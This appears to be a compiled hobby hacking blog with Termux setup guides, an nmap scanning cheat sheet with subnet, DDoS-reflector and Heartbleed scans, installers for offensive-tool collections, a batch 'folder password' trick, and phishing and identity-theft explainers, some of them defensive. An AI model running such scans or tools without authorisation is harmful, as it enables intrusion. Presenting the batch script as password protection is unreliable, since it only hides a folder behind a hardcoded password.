Hackers Dormitory

How to make your own game For free

2020-04-22T21:04:00.001+05:30

HELO Friend's in this post we are going to learn . How to make your own Offline Game for free of cost and without help of any tierd party app , software. With a very simple trick hope you all will like it so lets start theTutorial without loosing any time

STEP - 1

open notepad

STEP - 2

and then clike hear for the code

affter opening of code you can copy or wrigth oll the code in your notepad

STEP - 3

Affter copy paste click on file on the top
in file click on save as and & a new diloge box will appear
as a location where you want your game should be placed

Add caption

STEP - 4

Affter choesing location you have to remove *.txt and you have to wright the name of game for eg {game.html} you can any name for your game but the .html extensition is must

STEP - 5

Affter chosing the name you have to chose as all file and then click on save

WANA TO SEE HOW YOUR GAME WILL BE LOKING CLICK HEAR

Hope You ALL Like it so what are you wating for go and play your game byee

How to set password for my Folder in windows

2020-04-18T00:11:00.000+05:30

How To Password Protect A Folder Using Notepad

Does your Computer has multiple users? Are you Worried concerning about the files or folder access ? If you want to protect your private folder from others , Then you are at a right place . This is a very useful trick to Password protect a folder . By usin this trick you can set a customized password for your folder .

Steps to password protect a folder using notepad :

Step 1 : Open Notepad : Right click on the desktop and select create a new text document option or just simply Open a Notepad.

Step 2 : Copy And Paste :Copy-Paste the code given below to your notepad.

cls
@ECHO OFF
title Hackersdormitory.blogspot.com pasward protecter 
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Do you want to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the password to Unlock Your Folder
set/p "pass=>"
if NOT %pass%==aman goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

Step 3 : Save It :Save that notepad file as ”hackersdormitory.blogspot.com password protecter.bat” ( .bat extension is must) .

Step 4 : Double Click :Now double click on ” hackersdormitory.blogspot.com password protecter.bat ” , Then a new folder will be created with name ” My Folder “.

Step 5 : Store your data :Send all your files and data to this folder (which you want to hide or protect ) Step 6 : Again Double click on the ”hackersdormitory.blogspot.com password protecter.bat ” : Now double click on the ”hackersdormitory.blogspot.com password protecter.bat” , Then the command prompt will be displayed .Now ” Type Y ” and press enter to lock the folder .
Step 7 : How to access :Now The Folder will be hidden , to access that hidden Folder just double click on ” hackersdormitory.blogspot.com password protecter.bat ” .

Step 8 : Enter the password :Now you will be asked to enter the password. We have set the default password as ” aman ” . The hidden folder will now appear and you can access it.

You can see video also by clicking on the
VIDEO

Install mariadb/MySQL database server in termux

2020-04-16T18:47:00.001+05:30

What is MariaDB ?

MariaDB is a community-developed, commercially supported fork of the MySQLrelational database management system, intended to remain free and open-source software under the GNU GPL. Development is led by some of the original developers of MySQL, who forked it due to concerns over its acquisition by Oracle Corporation.

How to install in Termux ?

Open termux app and type following commands :

pkg update

pkg install mariadb

Now mariadb is installed successfully.
Setup MariaDB server in Termux use following command :

mysql_install_db

Start MariaDB server :

To start MariaDB server type :

mysqld

mysqld_safe -u root &

for access database :

To access MariaDB Database server type :

mysql -u root -p

it will ask for password your by default password is nothing hit enter you will login into the database server.

Stop MariaDB server :

To stop MariaDB server type :

pkill mysql

Now MariaDB server is stoped.

if you all get an error which is Acces denied for user 'root' @ 'local host'

Type this command

pkill mysql
mysqld_safe -u root&
Mysql -u.root

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Install Nginx web server in Android | Termux

2020-04-16T18:40:00.001+05:30

What is nginx ?

Nginx is a web server which can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache. The software was created by Igor Sysoev and first publicly released in 2004. A company of the same name was founded in 2011 to provide support and Nginx plus paid software.

How to install nginx ?

open termux app and type following commands.

$ pkg install nginx

To start nginx web server type:

$ nginx

Now open your browser and type localhost:8080 it will open the server.

To stop nginx server type:

$ nginx -s stop

using nginx web server you can test you website on localhost server and lots more..

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Install MyServer in Termux on Android

2020-04-16T18:34:00.000+05:30

What is MyServer ?

MyServer is your own localhost server. you can setup PHP, Apache web servers on your android devices or linux like Ubuntu etc. MyServer is Developed for android terminal like Termux or GNURoot Debian terminal. You can setup your localhost server and access from internet. you can host your website and test your website.

How to use MyServer ?

CLI Use :

Example : myserver -s -ng localhost 8080 /home/www

myserver -s <hostname/ip> <localhost_port> <document_root_path> to start default localhost server.
myserver -s -ng <hostname/ip> <localhost_port> <document_root_path> to start Nginx web server.
myserver -s -php <hostname/ip> <localhost_port> <document_root_path> to start php localhost server.
myserver -s -py <hostname/ip> <localhost_port> <document_root_path> to start python localhost server.
myserver -h <domain_name> <localhost_port> <http_port/https_port> to access localhost server on internet.
myserver -db [start/stop] to start/stop mysql database server.
myserver -s apache to start apache web server.
myserver update to update MyServer.
myserver rm -t to uninstall MyServer.
myserver start to start MyServer menu.
myserver -s to start Server that was previously running.
myserver -h to access from web that was previously accessed.

Menual Use :

Type 1 : to start your localhost web server.
Type 2 : to access your website from internet.
Type 3 : to start MySQL Database server.
Type 4 : to start menual localhost server.
Type 5 : to menual host.
Type 6 : to update MyServer.
Type 7 : for server setting.
Type 8 : to about us.
Type x : to exit.

MyServer Support :

Apache2 server.
Nginx server.
PHP server.
Python web server.
MySQL Database server.

MyServer is available for :

Android
Ubuntu
Linux

How to Install MyServer ?

Open the termux app and type following commands.

apt update
apt install git
git clone https://github.com/rajkumardusad/MyServer.git
cd MyServer
chmod +x install
sh install if not work than type ./install

Now MyServer is installed successfully.
Now type myserver start to start MyServer.

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to install C/C++ in Android using Termux

2020-04-16T18:31:00.001+05:30

What is C ?

C is a general-purpose, imperative computer programming language, supporting structured programming, lexical variable scope and recursion, while a static type system prevents many unintended operations.

How to install C ?

Open Termux app and type following commands

$ pkg install clang

$ pkg install nano

To write your c program type

$ nano filename.c

Hello world program in c :

#include <stdio.h>
int main()
{
   printf("Hello, World!");
   return 0;
}

To compile your c program type

$ gcc filename.c -o aliasname

Example : gcc hello.c -o h

To run your c program type

$ ./aliasname

Example : ./h

What is C++??

C++ is the general programming language almost everybody learns in their early programming days to build up a strong understanding of basic programming concepts. It is still a popular programming language in the programming language family. Many languages like JAVA and C# have been influenced by Cplusplus.

How to install C++ ?

Open Termux app and type following commands

$ pkg install clang

$ pkg install g++

$ pkg install nano

To write your c++ program type

$ nano filename.cpp

Hello world program in c++

#include <iostream>
using namespace std;

int main() 
{
    cout << "Hello, World!";
    return 0;
}

To compile your c++ program type

$ g++ filename.cpp -o aliasname

Example : g++ hello.cpp -o h

To run your c++ program type

$ ./aliasname

Example : ./h

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to install NMAP in Termux

2020-04-16T15:45:00.002+05:30

What is Nmap ?

Nmap (Network Mapper) is a free and open-source security scanner, originally written byGordon Lyon (also known by his pseudonymFyodor Vaskovich), used to discover hostsand services on a computer network, thus building a "map" of the network. To accomplish its goal, Nmap sends specially crafted packets to the target host(s) and then analyzes the responses.

Nmap features :

Host discovery – Identifying hosts on a network. For example, listing the hosts that respond to TCP and/or ICMP requests or have a particular port open.

Port scanning – Enumerating the openports on target hosts.
Version detection – Interrogating network services on remote devices to determine application name and version number.

OS detection – Determining the operating system and hardware characteristics of network devices.

Scriptable interaction with the target – using Nmap Scripting Engine (NSE) andLua programming language.

Nmap can provide further information on targets, including reverse DNS names, device types, and MAC addresses.

Uses of Nmap :

Auditing the security of a device or firewallby identifying the network connections which can be made to, or through it.

Identifying open ports on a target host in preparation for auditing.

Network inventory, network mapping, maintenance and asset management.

Auditing the security of a network by identifying new servers.

Generating traffic to hosts on a network, response analysis and response time measurement.

Finding and exploiting vulnerabilities in a network. DNS queries and subdomain search

How to install Nmap in Android ?

Open Termux app and type following commands :

$ pkg update

$ pkg install nmap

How to install Nmap in other linux device ?

$ apt update

$ apt-get install nmap

in ubuntu type :

$ sudo apt-get install nmap

Nmap Commands :

Nmap Target Selection :-

Scan a single IP: nmap 192.168.1.1

Scan a host: nmap www.testhostname.com

Scan a range of IPs: nmap 192.168.1.1-20

Scan a subnet: nmap 192.168.1.0/24

Scan targets from a text file: nmap -iL list-of-ips.txt

Nmap Port Selection :-

Scan a single Port: nmap -p 22 192.168.1.1

Scan a range of ports: nmap -p 1-100 192.168.1.1

Scan 100 most common ports (Fast): nmap -F 192.168.1.1

Scan all 65535 ports: nmap -p- 192.168.1.1

Nmap Port Scan types :-

Scan using TCP connect: nmap -sT 192.168.1.1

Scan using TCP SYN scan (default): nmap -sS 192.168.1.1

Scan UDP ports: nmap -sU -p 123,161,162 192.168.1.1

Scan selected ports - ignore discovery: nmap -Pn -F 192.168.1.1

Service and OS Detection :-

Detect OS and Services: nmap -A 192.168.1.1

Standard service detection: nmap -sV 192.168.1.1

More aggressive Service Detection: nmap -sV --version-intensity 5 192.168.1.1

Lighter banner grabbing detection: nmap -sV --version-intensity 0 192.168.1.1

Nmap Output Formats :-

Save default output to file: nmap -oN outputfile.txt 192.168.1.1

Save results as XML: nmap -oX outputfile.xml 192.168.1.1

Save results in a format for grep: nmap -oG outputfile.txt 192.168.1.1

Save in all formats: nmap -oA outputfile 192.168.1.1

Digging deeper with NSE Scripts :-

Scan using default safe scripts: nmap -sV -sC 192.168.1.1

Get help for a script: nmap --script-help=ssl-heartbleed

Scan using a specific NSE script: nmap -sV -p 443 –script=ssl-heartbleed.nse 192.168.1.1

Scan with a set of scripts: nmap -sV --script=smb* 192.168.1.1

A scan to search for DDOS reflection UDP services :-

Scan for UDP DDOS reflectors: nmap –sU –A –PN –n –pU:19,53,123,161 –script=ntp-monlist,dns-recursion,snmp-sysdescr 192.168.1.0/24

HTTP Service Information :-

Gather page titles from HTTP services: nmap --script=http-title 192.168.1.0/24

Get HTTP headers of web services: nmap --script=http-headers 192.168.1.0/24

Find web apps from known paths: nmap --script=http-enum 192.168.1.0/24

Detect Heartbleed SSL Vulnerability :-

Heartbleed Testing: nmap -sV -p 443 --script=ssl-heartbleed 192.168.1.0/24

IP Address information :-

Find Information about IP address: nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to install PHP in Android using Termux

2020-04-16T15:43:00.003+05:30

What is PHP ?

PHP is a server-side scripting language designed for Web development, but also used as ageneral-purpose programming language. It was originally created by Rasmus Lerdorf in 1994, the PHP reference implementation is now produced by The PHP Group. PHP originally stood for Personal Home Page, but it now stands for the recursive initialism PHP: Hypertext Preprocessor.

How to install PHP in Android ?

Open termux app and type following commands:

$ pkg install php
$ pkg install nano

How to install PHP in Ubuntu ?

Open terminal and type following commands:

$ sudo apt-get update
$ sudo apt-get install php

To write php script type

$ nano filename.php

Hello world program in php

<?php
echo "hello world!";
?>

To run php script type

$ php filename.php

To run an external (third party, copied) "WORKING" php script :
First save your (executable) script.php in /storage/
example : in /storage/emulated/0/Documents/...FULL...PATH.../
(and other files.txt used by the script, if necessary)

Then in Termux App,
>
cd /storage/emulated/0/Documents/...FULL...PATH.../
>
php script.php

BUT ... before,
"It is necessary to grant storage permission for Termux on [your device with] Android 6 and higher.
Use 'Settings>Apps>Termux>Permissions>Storage' and set to true."

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to install IP-Tracer in Android using Termux

2020-04-16T15:41:00.000+05:30

What is IP-Tracer ?

IP-Tracer is use to track ip address. IP-Tracer is developed for linux and android terminal like Termux and GNURoot Debian. you can retrieve any ip address information using IP-Tracer. IP-Tracer use ip-api to track ip address.

How to install IP-Tracer ?

apt update
apt install git -y
git clone https://github.com/rajkumardusad/IP-Tracer.git
cd IP-Tracer
chmod +x install
sh install or ./install

How to use IP-Tracer

ip-tracer -m to track your own ip address.
ip-tracer -t target-ip to track other's ip address for example ip-tracer -t 127.0.0.1

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Install the best hacking tool in Termux - ONEX

2020-04-16T15:23:00.001+05:30

What is Onex ?

Onex is a hacking tools library. onex can install any hacking tool in termux and any linux distribution. typeonex install [tool_name] command to install any tool in termux and any linux based system. Install more than 370+ tools using onex tool.in onex there are lots of kali linux hacking tools available for termux and any linux based system.

How to install onex ?

open your terminal and type following commands :

apt update

apt install git

git clone https://github.com/rajkumardusad/onex.git

chmod +x onex/install

sh onex/install if not work than use ./onex/install

How to use onex ?

CLI Mode :

Type onex -h or onex help for help.

Options :

onex install [tool_name] install any tool.

onex -i [tool_name] install any tool.

onex search [tool_name] search any tool.

onex -s [tool_name] search any tool.

onex list list all tools.

onex list -a list all tools.

onex -l list all tools.

onex -l -a list all tools.

onex help get help.

onex -h get help.

Menu Mode :

Type onex start to start onex menu mode.

Enter a Number for a specific output:

(1) : To show all available tools and type the number of a tool which you want to install.

(2) : To show tools category.

(3) : If you want to update onex.

(4) : If you want to know About Us.

(5) : To exit the tool.

onex is one of the best hacking tool installer. its easy to use and works on all linux and unix based systems.

Install Tool-X using onex ?

For example you have to install tool-x in your system. type following command in your terminal :

$ onex install tool-x

It will install Tool-X automatically in your system.
onex is very easy to use and its very usefull tool installer.

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to install Tool-X on termux

2020-04-16T13:14:00.004+05:30

What is Tool-X ?

Tool-X is a kali linux hacking Tool installer. Tool-X is Developed By Rajkumar Dusad. with the help of Tool-X you can install best hacking tools in Rooted or Non Rooted Android devices. In the Tool-X there are almost 251 hacking tools available for termux app and GNURoot Debian terminal. you can install any tool by single click. Tool-X is Specially made for Termux and GNURoot Debian Terminal. Now Tool-X is available for Ubuntu.

How to Install in termux ?

Open the termux app and type following commands.

$ pkg install git
$ git clone https://github.com/rajkumardusad/Tool-X.git
$ cd Tool-X
$ chmod +x install.aex
$ sh install.aex if not work than type ./install.aex

Now type Tool-X from anywhare in your terminal to open Tool-X. But use this tool only for legal purpose.

How to install in Ubuntu ?

Open terminal and type following commands

$ sudo apt-get update
$ sudo apt-get install git
$ sudo git clone https://github.com/rajkumardusad/Tool-X.git
$ cd Tool-X
$ chmod +x install.aex
$ sudo sh install.aex OR ./install.aex

Now type Tool-X from anywhare in your terminal to open Tool-X. But use this tool only for legal purpose.

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Different types of Phishing attacks

2020-04-16T11:40:00.002+05:30

Different types of Phishing

Deceptive Phishing
Malware-Based Phishing
Keyloggers and Screenloggers
Session Hijacking
Web Trojans
Hosts File Poisoning
System Reconfiguration Attacks
Data Theft
DNS-Based Phishing ("Pharming")
Content-Injection Phishing
Man-in-the-Middle Phishing
Search Engine Phishing

Deceptive Phishing

A phisher sends bulk email with a message. Users are influenced to click on a link.

Examples: An email stating that there is a problem with recipient’s account at financial institutions

and requests the recipient to click on a website link to update his details. A statement may be sent to

the recipient stating that his account is at risk and offering to enroll him to an anti-fraud program. In

any of the case, the website collects the user’s confidential information. The phisher will

subsequently impersonate the victim and transfer funds from his account, purchase merchandise, take

a second mortgage on the victim’s house or cause any other damage. In most of these cases, the

phisher does not directly cause any economic damage, but sells the illegally obtained information on

a secondary market.

Malware-based Phishing

Malware-based phishing involves running malicious software on the user’s machine. The malware

can be introduced as an email attachment or as a downloadable file exploiting security

vulnerabilities. This is a particular threat for small and medium businesses (SMBs) who fails to

update their their software applications.Keyloggers and Screenloggers

Keyloggers and screenloggers are varieties of malware that track input from the keyboard and send

relevant information to the hacker via the Internet. They can embed themselves into the user’s

browsers as small utility programs.

Session Hijacking

Session Hijacking is a kind of phishing attack where user’s activities are monitored clearly until they

log into a target account like the bank account and establish their credentials. At that point, the

malicious software takes control and can undertake unauthorized actions, such as transferring funds,

without the knowledge of the user.

Web Trojans

Web Trojans pop up when the users attempt to log in to an important website or performing any

transaction. These web trojans are invisible to the users. They collect user's credentials locally and

transmit them to the phisher.

Hosts File Poisoning

When a user types a URL of a website it is first translated into an IP address before it's transmitted

over the Internet. The majority of user’s PCs running a Microsoft Windows operating system first

look up these "host names" in their "hosts" file before undertaking a Domain Name System (DNS)

lookup. Phishers steal information by "poisoning" the hosts file. They transmit a bogus address, taking

the user unwittingly to a fake "look alike" website.

System Reconfiguration Attacks

This is a kind of phishing attack where the settings on a user's PC are modified with bad intentions.

For example: URLs in a favorites file might be modified to direct users to bogus websites that look

alike. For example: a financial institution's website URL may be changed from "bankofxyz.com" to

"bancofxyz.com".

Data Theft

Malicious code running on a user’s computer, can directly steal confidential information stored on the

computer. This information can include activation keys to software, passwords, sensitive and

personal email and any other data that is stored on the victim's computer. Data theft is also widely

used for phishing attacks aimed at corporate espionage. In addition, confidential memos, designdocuments or billing info can be publicly leaked, causing embarrassment or financial damage to the

organization. This data can also be leaked to competitors.

DNS-Based Phishing

Domain Name System (DNS)-based phishing or hosts file modification is called Pharming. The

requests for URLs or name service return a bogus address and subsequent communications are

directed to a fake site when the hackers tamper a company’s host files or domain name. As a result,

users remain unaware about the fraud website controlled by hackers.

Content-Injection Phishing

Content-injection phishing means inserting malicious content into a legitimate website. The malicious

content can redirect to other websites or may install malware on a user’s computer and also insert a

frame of content that will redirect data to the phishing server.

Man-in-the-Middle Phishing

Man-in-the-Middle Phishing is hard to detect than many other forms of phishing. In these attacks

hackers sit between the user and the website or the system. They record the information being entered

by the user but continue to pass the user on to the next steps so that user transactions are not affected

and the user remains unaware. Later, they sell or use the information which may be credentials, credit

card details, and bank account details.

Search Engine Phishing

Phishers develop e-commerce websites with attractive offers. Later these sites are indexed

legitimately with different search engines. When users search for products or services, these sites are

shown by the search engine and are fooled into giving up their information. For example, scammers

have set up false banking sites that offer lower credit costs or better interest rates than other banks.

Victims are often encouraged to transfer account details. In this way, they are deceived into giving up

their details.

Social Engineering

Social engineering, in the context of information security, refers to psychological manipulation of

people into performing actions or divulging confidential information. A type of confidence trick for

the purpose of information gathering, fraud, or system access, it differs from a traditional "con" in that

it is often one of many steps in a more complex fraud scheme.

The term "social engineering" as an act of psychological manipulation is also associated with the

social sciences, but its usage has caught on among computer and information security professionals.All social engineering techniques are based on specific attributes of human decision-making known

as cognitive biases. These biases, sometimes called "bugs in the human hardware", are exploited in

various combinations to create attack techniques, some of which are listed. The attacks used in social

engineering can be used to steal employees' confidential information. The most common type of social

engineering happens over the phone. Other examples of social engineering attacks are criminals

posing as exterminators, fire marshals and technicians to go unnoticed as they steal company secrets.

One example of social engineering is an individual who walks into a building and posts an official-

looking announcement to the company bulletin that says the number for the help desk has changed. So,

when employees call for help the individual asks them for their passwords and ID's thereby gaining

the ability to access the company's private information. Another example of social engineering would

be that the hacker contacts the target on social networking site and start conversation with the target.

Slowly and gradually, the hacker gains trust of the target and then uses it to get access to sensitive

information like password or bank account details.

Pretexting

Pretexting (adj. pretextual), also known in the UK as blagging or bohoing, is the act of creating and

using an invented scenario (the pretext) to engage a targeted victim in a manner that increases the

chance the victim will divulge information or perform actions that would be unlikely in ordinary

circumstances. An elaborate lie, it most often involves some prior research or setup and the use of

this information for impersonation (e.g., date of birth, Social Security number, last bill amount) to

establish legitimacy in the mind of the target.

Diversion Theft

Diversion theft, also known as the "Corner Game" or "Round the Corner Game", originated in the

East End of London.

In summary, diversion theft is a "con" exercised by professional thieves, normally against a transport

or courier company. The objective is to persuade the persons responsible for a legitimate delivery

that the consignment is requested elsewhere hence, "round the corner".

Baiting

Baiting is like the real-world Trojan Horse that uses physical media and relies on the curiosity or

greed of the victim.

In this attack, the attacker leaves a malware infected floppy disk, CD-ROM, or USB flash drive in a

location sure to be found (bathroom, elevator, sidewalk, parking lot), gives it a legitimate looking and

curiosity-piquing label, and simply waits for the victim to use the device.

In either case, as a consequence of merely inserting the disk into a computer to see the contents, the

user would unknowingly install malware on it, likely giving an attacker unfettered access to thevictim's PC and, perhaps, the targeted company's internal computer network.

Unless computer controls block the infection, PCs set to "auto-run" inserted media may be

compromised as soon as a rogue disk is inserted.

Hostile devices, more attractive than simple memory, can also be used. For instance, a "lucky

winner" is sent a free digital audio player that actually compromises any computer it is plugged to.

Tailgating

An attacker, seeking entry to a restricted area secured by unattended, electronic access control, e.g.

by RFID card, simply walks in behind a person who has legitimate access. Following common

courtesy, the legitimate person will usually hold the door open for the attacker or the attackers

themselves may ask the employee to hold it open for them. The legitimate person may fail to ask for

identification for any of several reasons, or may accept an assertion that the attacker has forgotten or

lost the appropriate identity token. The attacker may also fake the action of presenting an identity

token.

what is Phishing attacks??

2020-04-16T11:24:00.000+05:30

Phishing Attacks

Phishing is an e-mail fraud method in which the perpetrator sends out legitimate-looking email in an

attempt to gather personal and financial information from recipients. Typically, the messages appear

to come from well-known and trustworthy Web sites. Web sites that are frequently spoofed by

phishers include PayPal, eBay, MSN, Yahoo, BestBuy, and America Online. A phishing expedition,

like the fishing expedition it's named for, is a speculative venture: the phisher puts the lure hoping to

fool at least a few of the prey that encounter the bait.

Fraudsters send fake emails or set up fake web sites that mimic Yahoo!'s sign-in pages (or the sign-in

pages of other trusted companies, such as eBay or PayPal) to trick you into disclosing your user name

and password. This practice is sometimes referred to as "phishing" — a play on the word "fishing"

— because the fraudster is fishing for your private account information. Typically, fraudsters try to

trick you into providing your user name and password so that they can gain access to an online

account. Once they gain access, they can use your personal information to commit identity theft,

charge your credit cards, empty your bank accounts, read your email, and lock you out of your online

account by changing your password.

If you receive an email (or instant message) from someone you don't know directing you to sign in to a

website, be careful! You may have received a phishing email with links to a phishing website. A

phishing website (sometimes called a "spoofed" site) tries to steal your account password or other

confidential information by tricking you into believing you're on a legitimate website. You could even

land on a phishing site by mistyping a URL (web address).

Is that website legitimate? Don't be fooled by a site that looks real. It's easy for phishers to createwebsites that look like the genuine article, complete with the logo and other graphics of a trusted

website.

Important: If you're at all unsure about a website, do not sign in. The safest thing to do is to close and

then reopen your browser, and then type the URL into your browser's URL bar. Typing the correct

URL is the best way to be sure you're not redirected to a spoofed site.

Signs you May have Received a Phishing Email

If you receive an email from a web site or company urging you to provide confidential information,

such as a password or Social Security number, you might be the target of a phishing scam. The tips

below can help you avoid being taken in by phishers.

Unofficial "From" address

Look out for a sender's email address that is similar to, but not the same as, a company's official

email address. Fraudsters often sign up for free email accounts with company names in them (such as

"ysmallbusiness@yahoo.com"). These email addresses are meant to fool you. Official email from

Yahoo! always comes from an "@yahoo-inc.com" email address.

Urgent action required

Fraudsters often include urgent "calls to action" to try to get you to react immediately. Be wary of

emails containing phrases like "your account will be closed," "your account has been compromised,"

or "urgent action required." The fraudster is taking advantage of your concern to trick you into

providing confidential information.

Generic greeting

Fraudsters often send thousands of phishing emails at one time. They may have your email address,

but they seldom have your name. Be skeptical of an email sent with a generic greeting such as "Dear

Customer" or "Dear Member".

Link to a fake web site

To trick you into disclosing your user name and password, fraudsters often include a link to a fake

web site that looks like (sometimes exactly like) the sign-in page of a legitimate web site. Just

because a site includes a company's logo or looks like the real page doesn't mean it is! Logos and the

appearance of legitimate web sites are easy to copy. In the email, look out for:

Links containing an official company name, but in the wrong location. For example:

"https://www.yahoo.com is a fake address that doesn't go to a real Yahoo! web site. A real Yahoo!

web address has a forward slash ("/") after "yahoo.com" — for example, "https://www.yahoo.com/"

or "https://login.yahoo.com/."

Legitimate links mixed with fake links

Fraudsters sometimes include authentic links in their spoof pages, such as to the genuine privacy

policy and terms of service pages for the site they're mimicking. These authentic links are mixed inwith links to a fake phishing web site in order to make the spoof site appear more realistic.

And look for these other indicators that an email might not be trustworthy:
Spelling errors, poor grammar, or inferior graphics.
Requests for personal information such as your password, Social Security number,or bank account or credit card number. Legitimate companies will never ask you toverify or provide confidential information in an unsolicited email.
Attachments (which might contain viruses or keystroke loggers, which record what
you type).

Signs you May be on a Phishing Site

Phishers are becoming more and more sophisticated in designing their phony websites, follow these

steps if you think you’ve been phished. There's no surefire way to know if you're on a phishing site,

but here are some hints that can help you distinguish a real website from a phishing site:

Check the Web address

Just because the address looks OK, don't assume you're on a legitimate site. Look in your browser's

URL bar for these signs that you may be on a phishing site:

Incorrect company name. Often the web address of a phishing site looks correct but actually contains a common misspelling of the company name or a character orsymbol before or after the company name. Look for tricks such as substituting the number "1" for the letter "l" in a Web address (for example, www.paypa1.com instead of www.paypal.com).
"http://" at the start of the address on Yahoo sign-in pages. A legitimate Yahoo sign-in page address starts with "https://" ― the letter "s" must be included. So check the website address for any Yahoo sign-in page.

A missing forward slash. To verify that you're on a legitimate Yahoo site, make sure a forward slash ( / ) appears after "yahoo.com" in the URL bar, for example,

"https://www.yahoo.com” is a fake website address.

Be leery of pop-ups

Be careful if you're sent to a website that immediately displays a pop-up window asking you to enter

your username and password. Phishing scams may direct you to a legitimate website and then use a

pop-up to gain your account information.

Give a fake password

If you not sure if a site is authentic, don't use your real password to sign in. If you enter a fake

password and appear to be signed in, you're likely on a phishing site. Do not enter any more

information; close your browser. Keep in mind, though, that some phishing sites automatically display

an error message regardless of the password you enter. So, just because your fake password is

rejected, don't assume the site is legitimate.

Use a Web browser with antiphishing detectionInternet Explorer, Mozilla Firefox, Web browsers have free add-ons (or "plug-ins") that can help you

detect phishing sites.

Be wary of other methods to identify a legitimate site

Some methods used to indicate a safe site can't always be trusted. A small unbroken key or locked

padlock at the left of the URL bar of your browser is not a reliable indicator of a legitimate website.

Just because there's a key or lock and the security certificate looks authentic, don't assume the site is

legitimate.

Common Attacks and Viruses used by Hackers

2020-04-16T11:04:00.000+05:30

Identify Theft

Identity theft criminals come in all shapes and sizes these days. If you're ever unlucky enough to be a

victim of identity theft, the culprit is far more likely to be a local meth user than a professional

hacker. That said, most organized crimes gangs around the world are becoming much more involved

in computer hacking. Computer identity theft can happen in a number of ways. Criminal organizations

can use their own hackers, hire college students, or simply buy large amounts of stolen information

from professional hackers. And the result is a spike in the number and size of reported data breachesby hackers.

Hacking attacks can be launched in a number of ways:

Attacking computers that don't have firewalls installed.
Installing keystroke loggers or other malicious code by hiding it in email attachments.
Exploiting browser vulnerabilities that have not been properly patched.
Exploiting weak or poorly protected passwords.
Hiding malicious code in downloads or free software.
Hiding malicious code in images on websites and waiting for unsuspecting users to click on them.
Employees or other trusted users simply accessing an unprotected computer.
Exploiting poorly installed networks, and especially wireless home networks.

How does identify theft work?

First things first, your social security number isn't necessarily a magic ticket to your identity—it's

really more like a cheat code. If you know where, when, and how to use someone else's number, you

can effectively steal their identity and cause them significant hardship. Former public and now private

investigator Randy Barnhart explains how easy it is to gain a line of credit in someone else's name if

you know what to do:

Many retailers offer credit cards, most offer Visa and Master Card accounts as well. If I

have someone's social security number, all I have to do is complete a one page credit

application using the stolen SSN and hand it to a cashier that is 18-20 years old. The

cashier enters the SSN into their system and a line of credit is issued. Depending on the

victim's credit rating, the line of credit can be $1000 to $100,000. Usually the cashier

hands me a temporary shopping pass with a limited balance that I can use immediately.

If they have multiple identities, the thief can open several accounts and max out the

credit line very quickly.

Barnhart suggests that this would be simple to stop, as additional security checks would be required,

but this would involve the sacrifice of convenience—something we're not always eager to abandon.

It's also not the sort of thing retailers want to give up because they make a lot of money off of

providing you with a credit line.Even still, that's just one example of the many problems that can arise from identity theft. We tend to

concentrate only on the monetary damage, but much more can occur. Matt Davis, a victim advisor for

the Identity Theft Resource Center, explains many of the other issues:

ID thieves can use an social security number to procure your medical benefits, social

security, unemployment, file false tax returns, and even pawn off their criminal charges

when they have run-ins with the law on you. The possibilities are limitless with the right

information and an informed thief. A credit report will not show you if anyone is running

up criminal charges as you, using your medical insurance to finance medical procedures,

or creating a fraudulent job history report by working under your information.

Basically, your identity is valuable to different kinds of people for different reasons. You might be

targeted for a line of credit or because an illegal immigrant needs "lawful" employment and health

care. Monitoring your credit report isn't enough. You need to pay attention to everything if you're

going to catch a thief.

